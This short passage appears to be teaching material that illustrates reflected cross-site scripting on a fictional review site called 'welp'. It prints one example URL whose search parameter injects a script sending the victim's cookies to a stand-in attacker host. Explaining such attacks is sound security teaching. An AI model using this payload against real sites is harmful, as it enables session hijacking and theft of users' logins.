Reflected XSS

Vic clicks on the link. The page renders the search parameter in the HTML without escaping it properly, which creates a new <script> tag in the browser.

www.welp.com?search=<script>window.location='www.haxxed.com?cookie='+document.cookie</script>

The indifferent restaurant review site

I guess you should search for food or something.

Vic clicks on the link. The page renders the search parameter in the HTML without escaping it properly, which creates a new <script> tag in the browser.